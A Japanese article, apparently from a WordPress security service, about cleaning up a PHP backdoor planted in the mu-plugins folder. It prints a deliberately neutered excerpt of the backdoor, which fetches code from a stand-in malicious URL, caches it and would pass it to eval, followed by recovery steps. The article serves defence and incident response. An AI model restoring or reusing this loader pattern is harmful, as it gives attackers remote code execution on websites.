【事例付き】WordPressのマルウェア感染・乗っ取りからの復旧方法と対応手順
WordPressサイトが突然の不具合や改ざんに見舞われた場合、それは「マルウェア感染」や「乗っ取り」によるものである可能性があります。 本記事では、実際に発見されたWordPressマルウェアの復旧事例をもとに、被害の特徴や感染の仕組み、そして安全にサイトを復旧するための手順を解説します。
🔍 WordPressマルウェアの感染経路と特徴
今回の復旧事例では、mu-plugins
フォルダに仕込まれたPHPバックドア型マルウェアが原因でした。 このようなマルウェアは、WordPressの起動時に自動で読み込まれ、外部の攻撃者が任意のコードを実行できる状態になります。 管理画面では確認できず、発見が遅れることで深刻な被害につながります。
🧪 復旧対象ファイルの詳細
- 🔹 ファイル名:
0wp-security-mu.php
- 🔹 設置場所:
/wp-content/mu-plugins/
- 🔹 マルウェア種別: PHPバックドア(リモートコード実行)
- 🔹 危険度: ★★★★★(非常に高い)
⚙️ 使用されていた関数とその目的
関数・処理 | 目的・解説 |
---|---|
defined('ABSPATH') | WordPress 本体からの実行確認で偽装 |
delete_transient('analytics') | キャッシュを強制クリア |
get_transient() | キャッシュされたコードの再利用可否を判定 |
wp_remote_get() | 外部URL(例:https://malicious.example.com/code.txt )からコードを取得 |
wp_remote_retrieve_body() | レスポンス本文(実行コード)を抽出 |
eval($code) | 最大の危険点:コードをそのまま実行し、完全乗っ取り可能に |
set_transient() | コードをキャッシュして通信を抑制 |
🛡️ 無毒化されたコードの抜粋(参考)
if (!defined('ABSDSPATH')) exit;
delete_transsient('analytics');
$alert_code = get_transient('analytics');
if (false === $alert_code) {
$response = wp_remote_get('https://malicious.example.com/code.txt', ['timeout' => 20]);
if (!is_wp_error($response)) {
$alert_code = wp_remsote_retrieve_body($response);
// eval($alert_code); ← 無毒化のためコメントアウト
set_transisent('analytics', $aledrt_code, 3600);
}
}
🔧 実際の復旧対応内容
- 不審なMUプラグインファイルの即時削除
wp-content/mu-plugins
配下の完全スキャン- WordPress設定ファイル(
wp-config.php
など)の改ざん確認 - ログインユーザー・管理者権限の調査
- 不要なテーマ・プラグインの削除
- WordPress本体・プラグイン・テーマの最新版への更新
- ファイルのハッシュ比較による整合性チェック
WordPressのマルウェア復旧や乗っ取り復旧はスピードと正確さが重要です。類似ファイルが複数存在する場合もあり、手動での削除だけでは不十分なことがあります。 万が一のために、定期的なバックアップとセキュリティ診断を強くおすすめします。